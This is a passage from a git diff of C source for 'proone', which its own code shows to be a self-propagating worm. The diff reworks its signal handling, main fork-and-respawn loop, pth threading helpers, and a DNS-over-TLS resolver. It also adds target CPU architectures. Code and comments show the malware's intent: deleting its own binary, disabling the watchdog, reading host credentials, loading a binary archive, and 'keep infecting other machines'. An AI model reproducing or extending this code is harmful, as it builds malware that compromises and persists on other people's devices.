+ pth_kill();
- return exit_code;
+ return 0;
}
static bool ensure_single_instance (void) {
@@ -291,28 +168,6 @@ static void disasble_watchdog (void) {
#endif
}
-static void handle_interrupt (const int sig) {
- const int saved_errno = errno;
- uint8_t rubbish = 0;
-
- prne_g.caught_signal = sig;
- write(int_pipe[1], &rubbish, 1);
-
- errno = saved_errno;
-}
-
-static void setup_signal_actions (void) {
- struct sigaction sa;
-
- sa.sa_handler = handle_interrupt;
- sigemptyset(&sa.sa_mask);
- sa.sa_flags = SA_RESETHAND;
-
- // try to exit gracefully upon reception of these signals
- sigaction(SIGINT, &sa, NULL);
- sigaction(SIGTERM, &sa, NULL);
-}
-
static void read_host_credential (void) {
static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2;
char *buf = (char*)prne_malloc(1, buf_size);
@@ -335,12 +190,15 @@ END:
prne_free(buf);
}
-static void read_bin_archive (void) {
+static void setup_bin_archive (void) {
+ // TODO
+#if 0
prne_stdin_base64_rf_ctx_t rf_ctx;
prne_init_stdin_base64_rf_ctx(&rf_ctx);
prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK;
prne_free_stdin_base64_rf_ctx(&rf_ctx);
+#endif
}
static void set_env (void) {
@@ -348,12 +206,20 @@ static void set_env (void) {
}
static void load_ssl_conf (void) {
- if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) {
+ // Could save 1108 bytes if bundled and compressed
+ static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT;
+ static const uint8_t S_CRT[] = PRNE_X509_S_CRT;
+ static const uint8_t S_KEY[] = PRNE_X509_S_KEY;
+ static const uint8_t DH[] = PRNE_X509_DH;
+ static const uint8_t C_CRT[] = PRNE_X509_C_CRT;
+ static const uint8_t C_KEY[] = PRNE_X509_C_KEY;
+
+ if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, CA_CRT, sizeof(CA_CRT)) == 0) {
prne_g.s_ssl.ready =
mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
- mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, S_CRT, sizeof(S_CRT)) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.s_ssl.pk, S_KEY, sizeof(S_KEY), NULL, 0) == 0 &&
+ mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, DH, sizeof(DH)) == 0 &&
mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
if (prne_g.s_ssl.ready) {
@@ -366,8 +232,8 @@ static void load_ssl_conf (void) {
prne_g.c_ssl.ready =
mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, C_CRT, sizeof(C_CRT)) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.c_ssl.pk, C_KEY, sizeof(C_KEY), NULL, 0) == 0 &&
mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
if (prne_g.c_ssl.ready) {
mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL);
@@ -381,11 +247,17 @@ static void load_ssl_conf (void) {
static void init_shared_global (void) {
// just die on error
- const size_t str_len = 1 + 30;
+ static const size_t str_len = 1 + 30;
int fd;
- char *name;
-
- name = prne_malloc(1, str_len + 1);
+ char name[str_len];
+
+ /* TODO
+ * 1. Try anonymous mmap()
+ * 2. Try opening /dev/zero
+ * 3. Try creating and opening /tmp/...
+ * 4. Try creating and opening random file in current wd
+ * 5. ... just don't use shared memory if all of these fail
+ */
name[0] = '/';
name[str_len] = 0;
prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1);
@@ -395,7 +267,6 @@ static void init_shared_global (void) {
abort();
}
shm_unlink(name);
- prne_free(name);
if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) {
abort();
@@ -445,13 +316,21 @@ static void run_ny_bin (void) {
int main (const int argc, char **args) {
static int exit_code = 0;
+ static bool loop = true;
+
+ sigemptyset(&ss_exit);
+ sigemptyset(&ss_all);
+ sigaddset(&ss_exit, SIGINT);
+ sigaddset(&ss_exit, SIGTERM);
+ sigaddset(&ss_all, SIGINT);
+ sigaddset(&ss_all, SIGTERM);
+ sigaddset(&ss_all, SIGCHLD);
prne_g.host_cred_data = NULL;
prne_g.host_cred_size = 0;
- prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.parent_start));
+ prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC);
prne_g.run_cnt = 0;
prne_g.resolv = NULL;
- prne_g.caught_signal = 0;
prne_g.parent_pid = getpid();
prne_g.child_pid = 0;
prne_g.lock_shm_fd = -1;
@@ -483,15 +362,16 @@ int main (const int argc, char **args) {
delete_myself(args[0]);
disasble_watchdog();
- // load data from stdin
- read_host_credential();
- read_bin_archive();
-
if (!ensure_single_instance()) {
+ prne_dbgpf("*** ensure_single_instance() returned false.");
exit_code = 1;
goto END;
}
+ setup_bin_archive();
+ // load data from stdin
+ read_host_credential();
+
// done with the terminal
prne_close(STDIN_FILENO);
prne_close(STDOUT_FILENO);
@@ -499,17 +379,10 @@ int main (const int argc, char **args) {
prne_close(STDERR_FILENO);
#endif
- if (pipe(int_pipe) == 0) {
- prne_set_pipe_size(int_pipe[0], 1);
- prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
- prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
- prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
- prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
- }
- setup_signal_actions();
+ sigprocmask(SIG_BLOCK, &ss_all, NULL);
// main loop
- while (prne_g.caught_signal == 0) {
+ while (loop) {
prne_g.child_pid = fork();
if (prne_g.child_pid >= 0) {
@@ -519,38 +392,43 @@ int main (const int argc, char **args) {
if (prne_g.child_pid > 0) {
static int status;
static bool has_ny_bin;
-
- while (prne_g.caught_signal == 0) {
- if (waitpid(prne_g.child_pid, &status, 0) < 0) {
- if (errno != EINTR) {
- abort();
- }
- else {
- continue;
- }
+ static int caught_signal = 0;
+
+ status = 0; // FIXME: libc bug?
+
+ do {
+ prne_assert(sigwait(&ss_all, &caught_signal) == 0);
+
+ switch (caught_signal) {
+ case SIGINT:
+ case SIGTERM:
+ // pass the signal to the child
+ loop = false;
+ sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
+ kill(prne_g.child_pid, caught_signal);
+ continue;
+ case SIGCHLD:
+ prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid);
+ break;
}
- break;
- }
+ } while (false);
has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0;
if (WIFEXITED(status)) {
+ prne_dbgpf("* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status));
if (WEXITSTATUS(status) == 0) {
if (has_ny_bin) {
+ prne_dbgpf("* detected new bin. Attempting to exec()\n");
run_ny_bin();
// run_ny_bin() returns if fails
+ prne_dbgperr("** run_ny_bin() failed");
}
break;
}
-
-#ifdef PRNE_DEBUG
- fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status));
-#endif
}
else if (WIFSIGNALED(status)) {
-#ifdef PRNE_DEBUG
- fprintf(stderr, "* child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status));
-#endif
+ prne_dbgpf("** child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status));
}
if (has_ny_bin) {
@@ -564,6 +442,7 @@ int main (const int argc, char **args) {
prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
prne_g.is_child = true;
+ prne_g.child_start = prne_gettime(CLOCK_MONOTONIC);
exit_code = proone_main();
break;
diff --git a/src/proone.h b/src/proone.h
index d0cb48e..1516e56 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -1,5 +1,6 @@
+#pragma once
#include "pack.h"
-#include "resolv_worker.h"
+#include "resolv.h"
#include <stdint.h>
#include <stdbool.h>
@@ -20,8 +21,11 @@ struct prne_global {
uint_fast64_t run_cnt;
uint8_t boot_id[16];
uint8_t instance_id[16];
- prne_resolv_wkr_ctx_t resolv;
- int caught_signal;
+ pth_t main_pth;
+ /*
+ * Could be NULL. Just keep infecting other machines without it.
+ */
+ prne_resolv_t *resolv;
pid_t parent_pid;
pid_t child_pid;
int lock_shm_fd;
diff --git a/src/protocol.c b/src/protocol.c
index 97259f4..56d6d90 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -33,6 +33,12 @@ const char *prne_arch_tostr (const prne_arch_t x) {
return "ppc";
case PRNE_ARCH_SH4:
return "sh4";
+ case PRNE_ARCH_M68K:
+ return "m68k";
+ case PRNE_ARCH_ARC:
+ return "arc";
+ case PRNE_ARCH_ARCEB:
+ return "arceb";
}
return NULL;
diff --git a/src/protocol.h b/src/protocol.h
index 4243336..2de0f97 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -7,7 +7,6 @@
#include <netinet/in.h>
-
typedef struct prne_net_endpoint prne_net_endpoint_t;
typedef struct prne_ip_addr prne_ip_addr_t;
typedef struct prne_host_cred prne_host_cred_t;
@@ -29,6 +28,9 @@ typedef enum {
PRNE_ARCH_MPSL,
PRNE_ARCH_PPC,
PRNE_ARCH_SH4,
+ PRNE_ARCH_M68K,
+ PRNE_ARCH_ARC,
+ PRNE_ARCH_ARCEB,
NB_PRNE_ARCH
} prne_arch_t;
diff --git a/src/pth.c b/src/pth.c
new file mode 100644
index 0000000..b727436
--- /dev/null
+++ b/src/pth.c
@@ -0,0 +1,116 @@
+#include <errno.h>
+
+#include "util_rt.h"
+#include "pth.h"
+
+
+void prne_init_worker (prne_worker_t *w) {
+ w->ctx = NULL;
+ w->entry = NULL;
+ w->fin = NULL;
+ w->free_ctx = NULL;
+ w->pth = NULL;
+}
+
+void prne_free_worker (prne_worker_t *w) {
+ if (w->ctx != NULL) {
+ prne_assert(w->free_ctx != NULL);
+ w->free_ctx(w->ctx);
+ w->ctx = NULL;
+ }
+}
+
+void prne_fin_worker (prne_worker_t *w) {
+ if (w->fin != NULL) {
+ w->fin(w->ctx);
+ }
+}
+
+bool prne_pth_cv_notify (prne_pth_cv_t *cv) {
+ bool ret;
+
+ if (pth_mutex_acquire(cv->lock, FALSE, NULL)) {
+ ret = pth_cond_notify(cv->cond, cv->broadcast) == 0;
+ prne_assert(pth_mutex_release(cv->lock));
+ }
+ else {
+ ret = false;
+ }
+
+ return ret;
+}
+
+bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached) {
+ pth_event_t ev;
+ bool ret, reached;
+
+ if (timeout != NULL) {
+ ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000));
+ if (ev == NULL) {
+ return -1;
+ }
+ }
+ else {
+ ev = NULL;
+ }
+
+ if (pth_mutex_acquire(cv->lock, FALSE, NULL)) {
+ ret = pth_cond_await(cv->cond, cv->lock, ev);
+ prne_assert(pth_mutex_release(cv->lock));
+ }
+ else {
+ ret = false;
+ }
+
+ if (ev != NULL && pth_event_occurred(ev)) {
+ ret = true;
+ reached = true;
+ }
+ else {
+ reached = false;
+ }
+
+ if (to_reached != NULL) {
+ *to_reached = reached;
+ }
+
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
+int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout) {
+ pth_event_t ev;
+ int ret;
+
+ if (timeout != NULL) {
+ ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000));
+ if (ev == NULL) {
+ return -1;
+ }
+ }
+ else {
+ ev = NULL;
+ }
+
+ do {
+ ret = pth_poll_ev(fds, nfds, -1, ev);
+ if (ev != NULL && pth_event_occurred(ev)) {
+ ret = 0;
+ break;
+ }
+ if (ret < 0 && errno == EINTR) {
+ continue;
+ }
+ } while (false);
+
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
+void prne_unint_pth_nanosleep (struct timespec dur) {
+ struct timespec rem;
+
+ while (pth_nanosleep(&dur, &rem) < 0 && errno == EINTR) {
+ dur = rem;
+ }
+}
diff --git a/src/pth.h b/src/pth.h
new file mode 100644
index 0000000..172e6cf
--- /dev/null
+++ b/src/pth.h
@@ -0,0 +1,31 @@
+#pragma once
+#include <stdbool.h>
+
+#include <pthsem.h>
+
+
+struct prne_worker {
+ void *ctx;
+ void *(*entry)(void*);
+ void (*fin)(void*);
+ void (*free_ctx)(void*);
+ pth_t pth;
+};
+typedef struct prne_worker prne_worker_t;
+
+struct prne_pth_cv {
+ pth_mutex_t *lock;
+ pth_cond_t *cond;
+ bool broadcast;
+};
+typedef struct prne_pth_cv prne_pth_cv_t;
+
+
+void prne_init_worker (prne_worker_t *w);
+void prne_free_worker (prne_worker_t *w);
+void prne_fin_worker (prne_worker_t *w);
+
+bool prne_pth_cv_notify (prne_pth_cv_t *cv);
+bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached);
+int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout);
+void prne_unint_pth_nanosleep (struct timespec dur);
diff --git a/src/resolv_worker.c b/src/resolv.c
index 72c3cb0..aa18f76 100644
--- a/src/resolv_worker.c
+++ b/src/resolv.c
@@ -1,4 +1,4 @@
-#include "resolv_worker.h"
+#include "resolv.h"
#include "util_rt.h"
#include "util_ct.h"
#include "llist.h"
@@ -10,17 +10,18 @@
#include <stdlib.h>
#include <string.h>
#include <assert.h>
+#include <time.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
-#include <sys/random.h>
#include <sys/socket.h>
-#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
+#include <sys/poll.h>
+#include <pthsem.h>
#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
@@ -29,52 +30,39 @@ _Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap
#define OK_OR_ERR(v) if (v < 0) { goto ERR; }
typedef enum {
- RESOLV_WKR_STATE_OK,
- RESOLV_WKR_STATE_FIN_CALLED,
- RESOLV_WKR_STATE_FINALISED,
-} resolv_wkr_state_t;
-
-typedef enum {
- RESOLV_CTX_STATE_NONE,
- RESOLV_CTX_STATE_CONN,
- RESOLV_CTX_STATE_HNDSHK,
- RESOLV_CTX_STATE_READY,
- RESOLV_CTX_STATE_CLOSING,
+ RESOLV_CTX_STATE_OK,
+ RESOLV_CTX_STATE_FIN_CALLED,
+ RESOLV_CTX_STATE_FINALISED,
} resolv_ctx_state_t;
typedef struct {
prne_net_endpoint_t *arr;
size_t cnt;
- size_t ptr;
+ bool ownership;
} resolv_dnssrv_pool_t;
typedef struct {
- prne_resolv_wkr_ctx_t wkr;
+ prne_resolv_t *owner;
prne_llist_entry_t *qlist_ent;
char *qname;
size_t qname_size;
- int evtfd[2];
- prne_wkr_timeout_slot_pt to_slot;
+ prne_pth_cv_t *cv;
uint_fast16_t qid; // 0 reserved
prne_resolv_fut_t fut;
prne_ipv_t ipv;
prne_resolv_query_type_t type;
+ struct timespec tp_queued;
} query_entry_t;
-struct prne_resolv_wkr_ctx {
- int dnss_fd[2];
- int evtfd[2];
+struct prne_resolv {
size_t read_cnt_len;
size_t write_cnt_len;
- prne_wkr_sched_req_t *wsr;
- prne_wkr_timeout_slot_pt sckop_to_slot;
- prne_wkr_timeout_slot_pt err_to_slot;
- prne_wkr_pollfd_slot_pt evt_pfd_slot;
- prne_wkr_pollfd_slot_pt sck_pfd_slot[2];
- int act_dns_fd;
+ struct pollfd act_sck_pfd;
+ size_t ptr_dnssrv4, ptr_dnssrv6;
resolv_dnssrv_pool_t dnssrv_4, dnssrv_6;
+ pth_mutex_t lock;
+ pth_cond_t cond;
resolv_ctx_state_t ctx_state;
- resolv_wkr_state_t wkr_state;
uint8_t write_buf[514];
uint8_t read_buf[514];
prne_llist_t qlist;
@@ -86,22 +74,60 @@ struct prne_resolv_wkr_ctx {
} ssl;
};
-#define DECL_CTX_PTR(p) prne_resolv_wkr_ctx_t ctx = (prne_resolv_wkr_ctx_t)p
+#define DECL_CTX_PTR(p) prne_resolv_t *ctx = (prne_resolv_t*)p
static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s
-static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100000000 }; // 100ms
+static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100 }; // 100ms
static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s
static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s
static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s
static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s
static const size_t RESOLV_PIPELINE_SIZE = 4;
-static bool resolv_wkr_has_finalised (void *p) {
- DECL_CTX_PTR(p);
- return ctx->wkr_state == RESOLV_WKR_STATE_FINALISED;
-}
+static prne_net_endpoint_t DEF_IPV4_EP[] = {
+ // Google
+ { { { 0x8, 0x8, 0x8, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ { { { 0x8, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ // Cloudflare
+ { { { 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ { { { 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ // Quad9
+ { { { 0x9, 0x9, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ { { { 0x95, 0x70, 0x70, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ // CleanBrowsing
+ { { { 0xb9, 0xe4, 0xa8, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 },
+ { { { 0xb9, 0xe4, 0xa9, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }
+};
+
+static resolv_dnssrv_pool_t RESOLV_DEF_IPV4_POOL = {
+ DEF_IPV4_EP,
+ sizeof(DEF_IPV4_EP)/sizeof(prne_net_endpoint_t),
+ false
+};
+
+static prne_net_endpoint_t DEF_IPV6_EP[] = {
+ // Google
+ { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x88 }, PRNE_IPV_6 }, 853 },
+ { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x44 }, PRNE_IPV_6 }, 853 },
+ // Cloudflare
+ { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11 }, PRNE_IPV_6 }, 853 },
+ { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1 }, PRNE_IPV_6 }, 853 },
+ // Quad9
+ { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfe }, PRNE_IPV_6 }, 853 },
+ { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9 }, PRNE_IPV_6 }, 853 },
+ // CleanBrowsing
+ { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 },
+ { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 }
+};
+
+static resolv_dnssrv_pool_t RESOLV_DEF_IPV6_POOL = {
+ DEF_IPV6_EP,
+ sizeof(DEF_IPV6_EP)/sizeof(prne_net_endpoint_t),
+ false
+};
static int resolv_set_cmn_fd_opt (const int fd) {
+ // TODO: no FD_CLOEXEC
return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1;
}
@@ -112,9 +138,6 @@ static void resolv_free_q_ent (query_entry_t *q_ent) {
prne_free(q_ent->qname);
prne_free_resolv_fut(&q_ent->fut);
- prne_close(q_ent->evtfd[0]);
- prne_close(q_ent->evtfd[1]);
- prne_free_wkr_timeout_slot(q_ent->to_slot);
prne_free(q_ent);
}
@@ -215,10 +238,10 @@ ERR:
return NULL;
}
-static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout, query_entry_t **ny_q_ent) {
+static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out, query_entry_t **ny_q_ent) {
query_entry_t *q_ent = NULL;
- if (resolv_wkr_has_finalised(wkr)) {
+ if (ctx->ctx_state != RESOLV_CTX_STATE_OK) {
errno = ECANCELED;
return false;
}
@@ -227,12 +250,11 @@ static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_
if (q_ent == NULL) {
goto ERR;
}
- q_ent->wkr = wkr;
+ q_ent->owner = ctx;
q_ent->qlist_ent = NULL;
q_ent->qname = NULL;
q_ent->qname_size = 0;
- q_ent->evtfd[0] = q_ent->evtfd[1] = -1;
- q_ent->to_slot = NULL;
+ q_ent->cv = cv;
q_ent->qid = 0;
q_ent->ipv = PRNE_IPV_NONE;
prne_init_resolv_fut(&q_ent->fut);
@@ -241,39 +263,24 @@ static bool resolv_qq (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_
goto ERR;
}
- q_ent->qlist_ent = prne_llist_append(&wkr->qlist, q_ent);
+ prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+ q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent);
if (q_ent->qlist_ent == NULL) {
goto ERR;
}
-
- OK_OR_ERR(pipe(q_ent->evtfd));
- prne_set_pipe_size(q_ent->evtfd[0], 1);
- OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[0]));
- OK_OR_ERR(resolv_set_cmn_fd_opt(q_ent->evtfd[1]));
-
- if (write(wkr->evtfd[1], &q_ent, 1) < 0) {
- prne_die_not_nonblock_err();
- }
-
- q_ent->to_slot = prne_alloc_wkr_timeout_slot(wkr->wsr);
- if (q_ent == NULL) {
- goto ERR;
- }
- q_ent->to_slot->active = true;
- q_ent->to_slot->dur = RESOLV_QUERY_TIMEOUT;
+ q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC);
+ pth_cond_notify(&ctx->cond, FALSE);
+ prne_assert(pth_mutex_release(&ctx->lock));
out->ctx = q_ent;
out->fut = &q_ent->fut;
- out->evtfd = q_ent->evtfd[0];
*ny_q_ent = q_ent;
return true;
ERR:
if (q_ent != NULL) {
- prne_llist_erase(&wkr->qlist, q_ent->qlist_ent);
+ prne_llist_erase(&ctx->qlist, q_ent->qlist_ent);
prne_free(q_ent->qname);
- prne_close(q_ent->evtfd[0]);
- prne_close(q_ent->evtfd[1]);
prne_free(q_ent);
}
@@ -282,60 +289,28 @@ ERR:
}
static void resolv_disown_qent (query_entry_t *qent) {
- uint8_t rubbish = 0;
-
- prne_free_wkr_timeout_slot(qent->to_slot);
- qent->to_slot = NULL;
- qent->wkr = NULL;
+ qent->owner = NULL;
qent->qlist_ent = NULL;
qent->qid = 0;
-
- if (write(qent->evtfd[1], &rubbish, 1) < 0) {
- prne_die_not_nonblock_err();
+ if (qent->cv != NULL) {
+ prne_pth_cv_notify(qent->cv);
}
}
-#if 0
-static void resolv_disown_all_qent (prne_resolv_wkr_ctx_t ctx) {
- query_entry_t *qent;
- prne_llist_entry_t *cur;
- size_t i;
-
- cur = ctx->qlist.head;
- while (cur != NULL) {
- qent = (query_entry_t*)cur->element;
- qent->fut.qr = PRNE_RESOLV_QR_FIN;
- resolv_disown_qent(qent);
- cur = cur->next;
- }
-
- for (i = 0; i < ctx->qid_map.size; i += 1) {
- qent = (query_entry_t*)ctx->qid_map.tbl[i].val;
- qent->fut.qr = PRNE_RESOLV_QR_FIN;
- resolv_disown_qent(qent);
- }
-
- prne_llist_clear(&ctx->qlist);
- prne_imap_clear(&ctx->qid_map);
-}
-#endif
-
-static size_t resolv_next_pool_ptr (prne_resolv_wkr_ctx_t ctx, const size_t cnt) {
+static size_t resolv_next_pool_ptr (prne_resolv_t *ctx, const size_t cnt) {
size_t ret = 0;
- if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) != 0) {
- abort();
- }
+ prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) == 0);
+
return ret % cnt;
}
-static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) {
- uint16_t i, ret;
+static uint16_t resolv_next_qid (prne_resolv_t *ctx) {
+ uint16_t ret;
+
+ for (uint_fast16_t i = 0; i < UINT16_MAX; i += 1) {
+ prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) == 0);
- for (i = 0; i < UINT16_MAX; i += 1) {
- if (mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) != 0) {
- abort();
- }
ret = (ret % UINT16_MAX) + 1;
if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) {
return ret;
@@ -345,7 +320,7 @@ static uint16_t resolv_next_qid (prne_resolv_wkr_ctx_t ctx) {
return 0;
}
-static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec *pause, bool change_srvr) {
+static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { // TODO: take errno as param
size_t i;
query_entry_t *qent;
prne_llist_entry_t *lent;
@@ -370,190 +345,179 @@ static void resolv_close_sck (prne_resolv_wkr_ctx_t ctx, const struct timespec *
}
prne_imap_clear(&ctx->qid_map);
- prne_shutdown(ctx->dnss_fd[0], SHUT_RDWR);
- prne_shutdown(ctx->dnss_fd[1], SHUT_RDWR);
- prne_shutdown(ctx->act_dns_fd, SHUT_RDWR);
- prne_close(ctx->dnss_fd[0]);
- prne_close(ctx->dnss_fd[1]);
- prne_close(ctx->act_dns_fd);
- ctx->dnss_fd[0] = ctx->dnss_fd[1] = ctx->act_dns_fd = -1;
+ prne_shutdown(ctx->act_sck_pfd.fd, SHUT_RDWR);
+ prne_close(ctx->act_sck_pfd.fd);
+ ctx->act_sck_pfd.fd = -1;
ctx->read_cnt_len = 0;
ctx->write_cnt_len = 0;
- ctx->sckop_to_slot->active = false;
- ctx->sck_pfd_slot[0]->pfd.fd = ctx->sck_pfd_slot[1]->pfd.fd = -1;
- ctx->ctx_state = RESOLV_CTX_STATE_NONE;
